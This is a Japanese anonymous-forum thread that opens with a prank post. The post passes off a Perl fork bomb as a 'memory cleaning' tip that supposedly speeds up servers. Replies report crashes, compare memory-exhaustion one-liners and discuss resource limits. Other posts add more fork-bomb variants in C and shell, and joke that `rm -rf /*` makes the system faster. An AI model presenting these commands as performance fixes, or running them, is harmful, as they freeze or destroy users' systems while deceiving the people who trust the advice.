簡単！メモリクリーニング

[1 名無しさん＠お腹いっぱい。 NG NG]

UNIX系技術者にとってはほぼ常識ですが、簡単にUNIX系OSの
メモリを簡単にクリーニングできます。やり方は、コマンドラインで、

$ perl -e 'while (1) { fork; }'

とタイプするだけです。
これでディスクキャッシュになっていたメモリが解放されて、
若干処理が軽くなります。Webサーバ等では数％レスポンスが
よくなります。GUIを使っている場合では体感的に早くなったと
わかるでしょう。

[255 名無しさん＠お腹いっぱい。 NG NG]

制限加えてない状態でやると、そうなるだろうねぇ。

[256 名無しさん＠お腹いっぱい。 NG NG]

ユーザ権限で、しかも>>1じゃならんよ。
gentooのpatchがダメなんじゃないの？

[257 名無しさん＠お腹いっぱい。 NG NG]

gentooはとんがったもん沢山あててるからなぁ
どれかにマズい不具合がまじってるかもね。

[258 名無しさん＠お腹いっぱい。 NG NG]

むしろ、そのノートPCがあやしいかもしれん。

[259 名無しさん＠お腹いっぱい。 NG NG]

>254
会社にある６台のLinuxマシンで試したらほぼ同様の結果。
サーバ運用中のマシンでやるなよ

[260 名無しさん＠お腹いっぱい。 NG NG]

定量的な考察ができない連中ばかりいるのはこのスレですか？

[261 名無しさん＠お腹いっぱい。 NG NG]

>>260
煽りなんだろうけど、いまいち意味がわからない。

[262 名無しさん＠お腹いっぱい。 NG NG]

>>1 で落ちない、というだけでは十分ではない。

[263 222 NG NG]

私も2.4.20-gentoo-r5ですけどなんの制限してなくても普通に動作してますよ。

ちなみにi686 Intel(R) Pentium(R) 4 CPU 2.40GHz + メモリ1Gの環境です。

[264 名無しさん＠お腹いっぱい。 NG NG]

じゃあ運がよかったんだね。
だが、>>263の運もここまでだった。
まさか、あんなことになるなんて・・・

[265 222 NG NG]

運？

とりあえず>>1みたいにforkせずとも以下のコマンドで見事にお亡くなりになる事は確認しました。
しかもこっちの方がメモリクリーニングっぽい。
perl -e '${"tmp".$i}=[0..100000000] while ($++i)'

[266 訂正 NG NG]

ループ関係なく
${"tmp".$i}=[0..100000000]
だけで死んだみたいです。

[267 名無しさん＠お腹いっぱい。 NG NG]

それはもうこのスレとは無関係の固有問題かと

[268 名無しさん＠お腹いっぱい。 NG NG]

>>265
FreeBSD-CURRENTですが、一瞬で
Out of memory!
とでるだけで何も起きません。

一桁減らして
  perl -e '${"tmp".$i}=[0..10000000] while ($++i)'
にしてみるとしばらくの間重くなったけど正常に終了。

[269 名無しさん＠お腹いっぱい。 NG NG]

perl -e '${"tmp".$i}=[0..100000000] while ($++i)'
Out of memory!

gentooでも同じく。
よくわからないんだけど、これは一体なにをしてるんだ？

[270 222 NG NG]

0,1,2,...という値が入った100000000個の要素を持つ配列を永遠に作り続ける
という物です。(($++i)は(++$i)の間違いでした)実際には以下のもので代用可能です。
perl -e '@tmp = (0..100000000);'

ちなみに家の場合0を一つ増やして
perl -e '@tmp = (0..1000000000);
とするとちゃんとOut of memory!と出てくれます。

[271 名無しさん＠お腹いっぱい。 NG NG]

結局>>1のプロセス食い潰しか
>>270のスワップ食い潰し
くらいしか案が出ないのか。

Win2kでも試してみたが、やっぱり資源が尽きるとダメだな。
LinuxとFreeBSDでも制限かけてない状態で資源食い潰すようになるとダメだめだ。
と、ここまではプロセスの話。

メモリとスワップの食い潰しは制限できるもんだろうか？
Win2kと、Linux、FreeBSD共に数秒後、HDDがガリガリ言いだして
放置しておくとと固まってるな。 やはり基本的に「スワップはったら負け」なんだろうか。
2kの方は、ページングファイル固定にしとくと、寿命が決定される。
可変にしとくと、HDD満タンになるまでガリガリ言ってるな。
満タンになったら氏んだ。
その間、作業らしい作業はできなかった。どのOSでもね。

FreeBSDのやりかたわからんけど、Linuxの方はAlt+SysRqで復旧は可能です。
Windowsは何もできなくなって、電源OFFしますた。

[272 名無しさん＠お腹いっぱい。 NG NG]

メモリは普通にlimitがかけられるじゃん。でもswapはだめげ?
そもそも仮想メモリシステムの上では、ユーザは自分が実メモリにのってるの
かswapにのってるのか意識できないからなぁ....

ディスクI/O とか swap ネット帯域とか cpu時間とか メモリ量とか 帯域とか
いろいろ重み付けで加算した「負荷」を定義して、「負荷」をlimitすればい
いのかな。わりと挙動が予測できなくてイヤっぽいんだけど。

[273 名無しさん＠お腹いっぱい。 NG NG]

┏━━━━━━━━┓
┃○○○○○○○○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○○○○○○○○┃
┗━━━━━━━━┛

[274 名無しさん＠お腹いっぱい。 NG NG]

┏━━━━━━━━┓
┃○○○○○○○○┃
┃○●●●●●●○┃
┃○●○○○○●○┃
┃○●○●●○●○┃
┃○●○●●○●○┃
┃○●○○○○●○┃
┃○●●●●●●○┃
┃○○○○○○○○┃
┗━━━━━━━━┛

[275 名無しさん＠お腹いっぱい。 NG NG]

minfree近所まで減ったらOSが勝手にやってくれるのに・・・

なんでいちいちンなこと実行するんですか？

[276 名無しさん＠お腹いっぱい。 NG NG]

ここに真面目なひとが....

[277 名無しさん＠お腹いっぱい。 NG NG]

× 真面目な
○ 空気を読む神経回路が備わってない

[278 tatibana NG NG]

>>150
失礼ですね
どこの誰かもわからない低能と一緒にしないでいただきたい

[279 あぼーん NG NG]

あぼーん

[280 名無しさん＠お腹いっぱい。 NG NG]

結局カーネルとかいじらないで簡単安全メモリクリーニングってできないの？

[281 名無しさん＠お腹いっぱい。 NG NG]

メモリクリーニングするといいことあるの？

[282 名無しさん＠お腹いっぱい。 NG NG]

勝手にディスクキャッシュにメモリ使われるのうざいからどうにかしたいんだよね。
それが有効利用だってことは良くわかってる。でもやめさせたい。メモリを勝手に使うな。

[283 名無しさん＠お腹いっぱい。 NG NG]

>>282
FreeBSD 4.x, 5.xならsysctl debug.vfscache=0でもするんだな。

[284 あぼーん NG NG]

あぼーん

[285 あぼーん NG NG]

あぼーん

[286 名無しさん＠お腹いっぱい。 NG NG]

それが有効利用だってことは良くわかってる
それが有効利用だってことは良くわかってる
それが有効利用だってことは良くわかってる

[287 名無しさん＠お腹いっぱい。 NG NG]

メモリを勝手に使うな。
メモリを勝手に使うな。
メモリを勝手に使うな。

[288 名無しさん＠お腹いっぱい。 NG NG]

なんか妙なメモリ観が出たな。おもしろいから発展させてよ

[289 名無しさん＠お腹いっぱい。 NG NG]

まさにドズという欠陥OSとそのアプリがもたらした電波だな。

[290 NG NG]

犬板で割とよくある質問

----
From: [177] login:Penguin <>
Date: 03/07/23 20:21 ID:KoJVwpXS

freeで実メモリを確認すると、数時間後にはすぐfreeがゼロ近くになってしまう。
+/- buffers, cacheを見ればちゃんとfreeが豊富にあるからいいけど、
精神的にbuffersやcacheじゃなくて実メモリが回復して欲しい。

そんなコマンドはないの？

くだらねえ質問はここに書きこめ！ Part53 [Linux]
http://pc.2ch.net/test/read.cgi/linux/1058846630/177

[291 名無しさん＠お腹いっぱい。 NG NG]

>>289
あれにはVM無いからメインメモリーの残量が命だったもんねぇ。(遠い目)
Windows 9xシリーズにはVMはあったけれど似たような欠陥があったし。

ソフトを動かしていないときにはメモリー使用率が低いほうがいいと思うのはM$のせいだな。

[292 名無しさん＠お腹いっぱい。 NG NG]

>>291
漏れはむしろ、

MS-DOSの640KBの壁に、チャレンジしてて、そのまんま来ちゃった人

だと思うのだがどうだ？

[293 名無しさん＠お腹いっぱい。 NG NG]

>>292
むしろ古参の技術者に洗脳された口と見た。
チャレンジしていたような世代が今ごろ犬使うか?

メモリー開放伝説はsync;halt伝説とかfinal method伝説とかと同じ類だな。

[294 名無しさん＠お腹いっぱい。 NG NG]

俺もディスクキャッシュやめさせたい。ていうか減らしたい。
実メモリの空きしか見てないどうしようもないソフトがあって。
ディスクキャッシュで埋め尽くされるとそこで止まっちゃうんだよな。

[295 名無しさん＠お腹いっぱい。 NG NG]

>>294
malloc() すればぁ。実装によってはデータ埋めてやらないと
いけないかも。cmalloc() だとどうかな

[296 名無しさん＠お腹いっぱい。 NG NG]

cmalloc

[297 名無しさん＠お腹いっぱい。 NG NG]

cmallocってC言語・・・？
要するにメモリ確保するだけして開放するプログラムを自分で書けってことだよね？

[298 名無しさん＠お腹いっぱい。 NG NG]

あはは

[299 あぼーん NG NG]

あぼーん

[300 あぼーん NG NG]

あぼーん

[301 名無しさん＠お腹いっぱい。 NG NG]

埋めるのなんざmemsetで一発だろ

[302 名無しさん＠お腹いっぱい。 NG NG]

free(calloc(N,1));

[303 あぼーん NG NG]

あぼーん

[304 名無しさん＠お腹いっぱい。 NG NG]

>>297
多分callocって言いたかったんじゃないの?
確保するだけでなく何らかのアクセスをしてpage faultを起こしてやらないとメモリーは解放されない。
callocってmallocしたあとに全領域をbzeroして書き換えてる(FreeBSD 4.8Rの実装)確保後のアクセスまでやってくれるってことだろうね。

[305 名無しさん＠お腹いっぱい。 NG NG]

memsetとかallocとかいってるﾔｼ・・・

ネタだよね？

[306 名無しさん＠お腹いっぱい。 NG NG]

>>294
> 実メモリの空きしか見てないどうしようもないソフトがあって。
キャッシュも見るようにおながいしてみれば？

[307 294 NG NG]

>>304
プログラムのことはさっぱりわからないんだけど、それらはC言語の命令・・・なんだよね？

>>306
市販パッケージソフトなのでどうにもならないです・・・。

[308 304 NG NG]

>>305
自分で試す気は毛頭無いけれど、まじめに書いているつもり。

[309 あぼーん NG NG]

あぼーん

[310 名無しさん＠お腹いっぱい。 NG NG]

>>307
＞C言語の命令

関数だろ、C なら。

[311 名無しさん＠お腹いっぱい。 NG NG]

>>310
初心者にむなしいﾂｯｺﾐすんな

[312 あぼーん NG NG]

あぼーん

[313 名無しさん＠お腹いっぱい。 NG NG]

俺の頭にC言語の命令をとばすのはやめろおお

[314 名無しさん＠お腹いっぱい。 NG NG]

win系はfork関数サポートしてないんじゃなかったっけ？

[315 名無しさん＠お腹いっぱい。 NG NG]

fork関数
fork関数
fork関数

と。

[316 名無しさん＠お腹いっぱい。 NG NG]

>>314 張っとく
http://www.microsoft.com/japan/msdn/library/default.asp?url=/japan/msdn/library/ja/vccore/html/_core_port_from_unix_to_win32.asp

[317 名無しさん＠お腹いっぱい。 NG NG]

システムコール入り口への関数

と捉えると、fork関数でもよいではないかよいではないか

[318 名無しさん＠お腹いっぱい。 NG NG]

最近の話題ｻﾊﾟｰﾘ意味わからん

[319 名無しさん＠お腹いっぱい。 NG NG]

forkダンス
forkダンス
forkダンス

と。

[320 名無しさん＠お腹いっぱい。 NG NG]

>>1を走らせている状態（Load averageが1000を超えているような状態）でも
操作はできるけれど、ssh でログインできない。
sshd の親プロセスを nice -n -15 にしておいても、forkされる子プロセスの
優先度が 0 になってしまう。子プロセスの優先度も -15 にするためには、
openssh のソースを修正しなくちゃいけない？

[321 314 NG NG]

>>316
遅レススマソ。THX

[322 あぼーん NG NG]

あぼーん

[323 名無しさん＠お腹いっぱい。 NG NG]

むしろコスモクリーニング

[324 名無しさん＠お腹いっぱい。 NG NG]

小宇宙クリーニング

[325 名無しさん＠お腹いっぱい。 NG NG]

あるいはメモリリーキング

[326 名無しさん＠お腹いっぱい。 NG NG]

リナックスは糞

これ常識

[327 名無しさん＠お腹いっぱい。 NG NG]

なんじゃこりやぁぁぁぁぁぁぁぁぁぁ

[328 名無しさん＠お腹いっぱい。 NG NG]

>>95
昔、MacOS8で応答しなくなり、二時間たっても回復しないから帰った
次の日見たら、応答してて待っていたダイアログ出してたｗ

[329 名無しさん＠お腹いっぱい。 NG NG]

放置プレイ

[330 名無しさん＠お腹いっぱい。 NG NG]

Mac埼京

[331 名無しさん＠お腹いっぱい。 NG NG]

$echo main(){ while(!fork()); return 0; } >init.c ; gcc -o init init.c; ./init

とかだとどうかな？

[332 名無しさん＠お腹いっぱい。 NG NG]

脂肪

[333 名無しさん＠お腹いっぱい。 NG NG]

リナックス脂肪

[334 あぼーん NG NG]

あぼーん

[335 名無しさん＠お腹いっぱい。 NG NG]

強制シャットダウンでディスクを壊さん程度に。

[336 名無しさん＠お腹いっぱい。 NG NG]

すげー、rm -rf /*　やったら超速くなりました

[337 名無しさん＠お腹いっぱい。 NG NG]

すげー、rm -rf >>336 やったら超速くなりました

[338 あぼーん NG NG]

あぼーん

[339 名無しさん＠お腹いっぱい。 NG NG]

レイチェルカーソンって沈黙の春とかいうの書いた人だっけか。

[340 名無しさん＠お腹いっぱい。 NG NG]

>>336
rootになるのを忘れるな

[341 名無しさん＠お腹いっぱい。 NG NG]

#!/bin/sh
. $0

[342 名無しさん＠お腹いっぱい。 NG NG]

#!/bin/sh
case $1 in
>>1)
echo "逝ってよし"
;;
*)
echo "ウンコ喰え"
exit 1
;;
esac

exit 0

[343 名無しさん＠お腹いっぱい。 NG NG]

>>338 すげー誤爆だな、
>>339　そうです。

[344 名無しさん＠お腹いっぱい。 NG NG]

簡単！ディスククリーニング

[345 名無しさん＠お腹いっぱい。 NG NG]

#!/bin/sh
. $0 &

[346 名無しさん＠お腹いっぱい。 NG NG]

fork

[347 名無しさん＠お腹いっぱい。 NG NG]

Linuxが糞だという事実を確認するためのスレはここですか？

[348 名無しさん＠お腹いっぱい。 NG NG]

リナッ糞

[349 名無しさん＠お腹いっぱい。 NG NG]

やっぱＷｉｎｄｏｗｓ最強だな

[350 名無しさん＠お腹いっぱい。 NG NG]

>>2
そこで質問したら、

890 ：名無しさん＠お腹いっぱい。 ：03/05/01 07:02
>>889
rootでログインして

# rm -rf /

こんな答えしか返ってきませんでした。
だからまともなレスをもらうためにスレを立てるんです。
だいたい>>2は、そんな事を書くぐらいならアンインストールの方法を
一言書いてくれればいいじゃないですか。

[351 名無しさん＠お腹いっぱい。 NG NG]

ちんちん

[352 名無しさん＠お腹いっぱい。 NG NG]

ddのがナウイ

[353 名無しさん＠お腹いっぱい。 NG NG]

exit 0

[354 名無しさん＠お腹いっぱい。 NG NG]

洗剤つけてタワシでゴシゴシ洗え

[355 名無しさん＠お腹いっぱい。 NG NG]

この程度でリナックスは氏ぬなんて糞OSですね。